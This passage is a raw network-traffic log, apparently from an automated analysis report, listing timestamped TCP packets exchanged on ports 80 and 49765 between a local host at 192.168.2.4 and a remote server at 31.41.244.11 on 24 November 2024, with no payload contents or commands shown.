Nov 24, 2024 12:24:12.922642946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.922702074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.922758102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.922815084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.923556089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.923614979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.923686981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.923757076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.924516916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.924567938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.924635887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.924690008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.925419092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.925497055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.925559998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.925626040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.926330090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.926389933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.926461935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.926522017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.927206993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.927263975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.927309036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.927366972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.928191900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.928248882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.928324938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.929085970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.929124117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.929155111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.929212093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.929265976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.929972887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.930027008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.930111885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.930169106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.930866957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.930931091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.931000948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.931071997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.931790113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.931854963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.931896925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.931948900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.932718992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.932779074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.933171988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.933234930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.933640003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.933742046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.934233904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.934294939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.934534073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.934587955 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.934662104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.934717894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.935482025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.935592890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.935678959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.935724974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.936408997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.936465979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.936472893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.936518908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.937297106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.937354088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.937361002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.937403917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.938186884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.938247919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.938286066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.938338041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.939131975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.939193964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.939246893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.939300060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.940046072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.940102100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.940114021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.940180063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.940989017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.941051006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.941118002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.941170931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.941857100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.941929102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.941992044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.942055941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.942758083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.942811966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.942912102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.942962885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.943686962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.943732977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.943787098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.943837881 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.944591999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.944644928 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.944727898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.944777966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.945517063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.945612907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.945671082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.945724964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.946433067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.946490049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.946558952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.946610928 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.947351933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.947415113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.947484016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.947540045 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.948275089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.948328972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.948414087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.948462009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.949186087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.949244976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.949304104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.949358940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.950140953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.950193882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.950241089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.950294018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.951013088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.951071024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.951181889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.951242924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.951948881 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.952007055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.952080011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.952132940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.111177921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.111258030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.111413956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.111471891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.111562014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.111617088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.111661911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.111720085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.112359047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.112413883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.112438917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.112488985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.113286972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.113341093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.113415003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.113485098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.114187002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.114298105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.114300013 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.114351988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.115106106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.115161896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.115221977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.115288019 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.116050005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.116117001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.116154909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.116208076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.116981983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.117037058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.117091894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.117145061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.117938042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.117994070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.118100882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.118153095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.118782997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.118839025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.118906975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.118957996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.119699955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.119756937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.119836092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.119889021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.120592117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.120646000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.120728016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.120780945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.121582031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.121635914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.121639013 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.121701002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.122436047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.122489929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.122567892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.122622967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.123325109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.123384953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.123430014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.123477936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.124269009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.124347925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.124389887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.124430895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.125154018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.125200033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.125264883 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.125305891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.126080990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.126122952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.126207113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.126249075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.126993895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.127038002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.127113104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.127155066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.127912045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.127952099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.128031015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.128073931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.128822088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.128865957 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.128938913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.128983021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.129730940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.129776001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.129842997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.129883051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.130645037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.130686998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.130748987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.130790949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.131613970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.131661892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.131745100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.131787062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.132519007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.132563114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.132595062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.132642984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.133398056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.133439064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.133516073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.133558035 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.134322882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.134394884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.134421110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.134464025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.135242939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.135288954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.135339022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.135380983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.136176109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.136229038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.136329889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.136377096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.137165070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.137213945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.137223005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.137269020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.138118029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.138166904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.138187885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.138232946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.138948917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.138997078 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.139041901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.139089108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.139831066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.139878988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.139934063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.139978886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.140733004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.140780926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.140846014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.140892982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.141668081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.141722918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.141738892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.141796112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.142615080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.142668009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.142720938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.142767906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.143543959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.143596888 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.143646955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.143697023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.144517899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.144588947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.144603014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.144629955 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.145298958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.145350933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.145385981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.145438910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.146301985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.146356106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.146405935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.146457911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.147306919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.147367001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.147454977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.147506952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.148073912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.148127079 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.148181915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.148232937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.149003983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.149055004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.149072886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.149122000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.149938107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.149990082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.149991989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.150043964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.150835037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.150881052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.150943995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.150995016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.151748896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.151802063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.151850939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.151897907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.152842999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.152901888 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.153002024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.153074026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.153589964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.153645992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.153717995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.153773069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.154491901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.154548883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.154613018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.154721975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.155421972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.155479908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.155536890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.155592918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.156450033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.156510115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.156549931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.156605959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.157325983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.157383919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.157427073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.157483101 CET	49765	80	192.168.2.4	31.41.244.11
